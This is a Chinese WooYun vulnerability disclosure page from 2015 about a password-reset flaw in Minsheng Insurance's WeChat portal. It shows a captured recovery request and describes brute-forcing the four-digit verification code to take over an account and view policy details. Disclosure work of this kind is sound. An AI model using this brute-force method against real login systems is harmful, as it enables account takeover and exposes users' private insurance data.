当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0141731

漏洞标题：民生保险某处严重漏洞可重置任意账号密码泄露用户保单等信息（以某用户为例）

相关厂商：民生保险

漏洞作者： Martial

提交时间：2015-09-19 12:33

修复时间：2015-11-05 16:32

公开时间：2015-11-05 16:32

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-19： 细节已通知厂商并且等待厂商处理中
2015-09-21： 厂商已经确认，细节仅向厂商公开
2015-10-01： 细节向核心白帽子及相关领域专家公开
2015-10-11： 细节向普通白帽子公开
2015-10-21： 细节向实习白帽子公开
2015-11-05： 细节向公众公开

简要描述：

可重置任意账号密码

详细说明：

微信端的民生保险

4.jpg


找回密码处 抓包
看下下面的包

POST /passport/verifycode?object_type=password&user_name=13012345678 HTTP/1.1
Host: **.**.**.**
Accept-Language: zh-cn
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Mobile/12H143 MicroMessenger/6.2.4 NetType/WIFI Language/zh_CN
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://**.**.**.**/passport/password?returnurl=http://**.**.**.**/account/myorder
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Cookie: Hm_lpvt_93b3561aad4c2f765cbbc0a3b0fb706e=1442463551; Hm_lvt_93b3561aad4c2f765cbbc0a3b0fb706e=1442463342; WEBSESSIONID=3sqmfro190tmkl20pc3igp0m85; WX_OPEN_ID_COOKIE_KEY=opqgIuM4qCDSC7pzvFKI5WLF4RUE
Content-Length: 16
Origin: http://**.**.**.**
Accept-Encoding: gzip, deflate
verify_code=4623


手机号为目标号码13012345678
然后我们对验证码进行爆破 4位验证码 秒破
看下成功的截图

1.jpg


5.jpg


登陆查看下

6.jpg

漏洞证明：

6.jpg

修复方案：

完善逻辑

版权声明：转载请注明来源 Martial@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-09-21 16:31

厂商回复：

CNVD确认所述情况,已经转由CNCERT向网站管理单位认领方进行转报.对方已经在处置中.

最新状态：

暂无